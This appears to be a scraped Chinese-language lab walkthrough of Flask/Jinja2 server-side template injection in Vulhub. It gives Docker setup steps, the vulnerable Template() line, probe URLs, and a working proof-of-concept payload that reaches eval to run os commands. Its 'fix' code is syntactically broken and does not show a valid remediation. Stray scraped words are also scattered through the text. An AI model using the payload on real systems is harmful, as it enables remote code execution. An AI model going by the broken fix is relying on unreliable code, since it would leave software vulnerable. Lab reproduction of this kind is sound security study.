Flask -SSTI - VulHub

1、環境準備:

1.打開vulhub,進入到flask/ssti目錄下docker

2.對靶場進行編譯flask

docker-compose build

3.運行靶場瀏覽器

docker-compose up -d

4.移除環境app

docker-compose down

 

2、漏洞復現:

1.進入瀏覽器頁面,訪問127.0.0.1:8000,函數

docker ps // 查看端口號

2.查看源碼,測試

ls
cd src
ls
cat app.py

3.根據源碼可知,name爲用戶輸入字段,隨意輸入進行驗證,ui

核心語句:spa

t = Template("Hello " + name)
// 函數利用get獲取參數進入template,造成任意構造注入。
//Template()徹底可控,那麼就能夠直接寫入jinja2的模板語言。

驗證語句:.net

http://127.0.0.1:8000/?name=s1mpL3
http://127.0.0.1:8000/?name={{2*2}}
http://127.0.0.1:8000/?name={{'xiaojian'.upper()}}

 

3、漏洞修復:

修改後:3d

from flask import Flask, request from jinja2 import Template app = Flask(__name__) @app.route("/s1mpL3") def index(): name = request.args.get('name', 'guest') t = Template("Hello " + {{defense}}) return t.render(defense=name) if __name__ == "__main__": app.run()

此時能夠避免代碼注入。

 

4、漏洞利用:

官方POC - 獲取eval函數執行任意代碼測試:

{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}

執行:

http://127.0.0.1:8000/?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}

5、參考:

https://www.jianshu.com/p/a1d6ae580add

https://blog.csdn.net/yukinorong/article/details/106938717

相關文章
相關標籤/搜索